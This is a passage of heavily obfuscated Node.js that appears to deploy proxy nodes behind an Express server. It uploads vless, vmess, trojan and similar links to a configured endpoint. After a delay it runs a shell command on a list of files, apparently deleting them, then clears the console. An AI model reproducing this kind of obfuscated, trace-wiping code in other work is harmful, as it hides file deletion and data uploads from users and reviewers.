dba,(_0x2aa34d,_0x3d0e19)=>{const _0x5f0ccb=_0x53b9f2,_0x36231c=Buffer[_0x5f0ccb(0x19d)](_0x1e9fa8)[_0x5f0ccb(0x2bc)](_0x34f296[_0x5f0ccb(0x2c6)]);_0x3d0e19['set'](_0x34f296['fvZsk'],_0x34f296[_0x5f0ccb(0x23e)]),_0x3d0e19[_0x5f0ccb(0x1a0)](_0x36231c);}),_0x5bd908[_0x53b9f2(0x25e)](_0x3af3bf,_0x1e9fa8);},0x7d0);});}function _0x547d68(){const _0x23e295=_0x25b525,_0x4481cb={'ZNgif':_0x23e295(0x1f4),'sCRrF':function(_0x22ebbb,_0x2ee3cc,_0x25c578){return _0x22ebbb(_0x2ee3cc,_0x25c578);}};setTimeout(()=>{const _0x7bfdd8=_0x23e295,_0x122ab0=[_0x108efa,_0x10e4d2,_0x2cdafe,_0x18dc28,_0x90eac7,_0x4cb551];if(_0x55f408)_0x122ab0[_0x7bfdd8(0x292)](_0x4cb551);else _0xafd592&&_0x4c37b4&&_0x122ab0[_0x7bfdd8(0x292)](_0x90eac7);const _0x402c16=_0x122ab0[_0x7bfdd8(0x1e3)](_0xe375d9=>{const _0x35b2ec=_0x7bfdd8;if([_0x2cdafe,_0x18dc28,_0x90eac7,_0x4cb551][_0x35b2ec(0x2e2)](_0xe375d9))return _0xe375d9;return _0x10afff[_0x35b2ec(0x246)](_0x3caf2f,_0x10afff[_0x35b2ec(0x2b6)](_0xe375d9));});_0x4481cb['sCRrF'](_0x45540a,_0x7bfdd8(0x30a)+_0x402c16[_0x7bfdd8(0x246)]('\x20')+_0x7bfdd8(0x2eb),_0x2c0cd8=>{const _0x348586=_0x7bfdd8;console['clear'](),console[_0x348586(0x1b8)]('App\x20is\x20running'),console['log'](_0x4481cb['ZNgif']);});},0x15f90);}async function _0x421924(){const _0x515fcf=_0x25b525,_0x20d765={'VydqK':function(_0x7a6f1f,_0x7f087e){return _0x7a6f1f&&_0x7f087e;},'EAKSq':'application/json','uwQMg':_0x515fcf(0x26c),'YKlur':function(_0x197331,_0x319297){return _0x197331===_0x319297;},'DdgtQ':'utf-8','BTdHz':function(_0x4cc7f1,_0x4f5411){return _0x4cc7f1===_0x4f5411;},'ZbohZ':function(_0x39c719,_0xdd30e8){return _0x39c719===_0xdd30e8;}};if(_0x20d765[_0x515fcf(0x234)](_0x396db2,_0x597e6e)){const _0x5bac0b=_0x597e6e+'/'+_0xce9dba,_0x3e8232={'subscription':[_0x5bac0b]};try{const _0x18ac9f=await _0xd2ce62['post'](_0x396db2+_0x515fcf(0x1a2),_0x3e8232,{'headers':{'Content-Type':_0x20d765[_0x515fcf(0x309)]}});if(_0x18ac9f[_0x515fcf(0x2b9)]===0xc8)console[_0x515fcf(0x1b8)](_0x20d765[_0x515fcf(0x2c2)]);else return null;}catch(_0x5f4da2){if(_0x5f4da2[_0x515fcf(0x307)]){if(_0x20d765['YKlur'](_0x5f4da2[_0x515fcf(0x307)]['status'],0x190)){}}}}else{if(_0x396db2){if(!_0xbf6a61['existsSync'](_0x10e4d2))return;const _0x22b8ad=_0xbf6a61[_0x515fcf(0x1b2)](_0x10e4d2,_0x20d765[_0x515fcf(0x1d5)]),_0x38b159=_0x22b8ad[_0x515fcf(0x1b4)]('\x0a')[_0x515fcf(0x1c1)](_0x39d1cc=>/(vless|vmess|trojan|hysteria2|tuic):\/\//['test'](_0x39d1cc));if(_0x20d765['BTdHz'](_0x38b159[_0x515fcf(0x222)],0x0))return;const _0x176add=JSON['stringify']({'nodes':_0x38b159});try{const _0x2f807f=await _0xd2ce62['post'](_0x396db2+_0x515fcf(0x1cf),_0x176add,{'headers':{'Content-Type':_0x20d765[_0x515fcf(0x309)]}});if(_0x20d765['ZbohZ'](_0x2f807f[_0x515fcf(0x2b9)],0xc8))console['log'](_0x20d765[_0x515fcf(0x2c2)]);else return null;}catch(_0x12e759){return null;}}else return;}}async function _0x42c87f(){const _0x419829=_0x25b525,_0x4e451d={'xarwd':function(_0x139611){return _0x139611();},'iVKCK':function(_0x3cd099){return _0x3cd099();}};_0x4e451d['xarwd'](_0x390c4b),_0xf8e33e(),await _0x4e451d[_0x419829(0x2ef)](_0x294c77),_0x4e451d[_0x419829(0x2e5)](_0x547d68);}_0x42c87f(),_0x565096[_0x25b525(0x2fd)]('/',async function(_0x173b66,_0x4067e1){const _0x48e210=_0x25b525,_0x4e9547={'YfKQx':_0x48e210(0x2ad),'vrMqG':_0x48e210(0x2bd)};try{const _0x4807f2=_0x10afff[_0x48e210(0x246)](__dirname,_0x4e9547[_0x48e210(0x23a)]),_0x542020=await _0xbf6a61[_0x48e210(0x20c)]['readFile'](_0x4807f2,_0x48e210(0x25c));_0x4067e1[_0x48e210(0x1a0)](_0x542020);}catch(_0x2667a7){_0x4067e1['send'](_0x4e9547[_0x48e210(0x1fe)]);}}),_0x565096['listen'](_0x2798ae,()=>console[_0x25b525(0x1b8)]('server\x20is\x20running\x20on\x20port:'+_0x2798ae+'!'));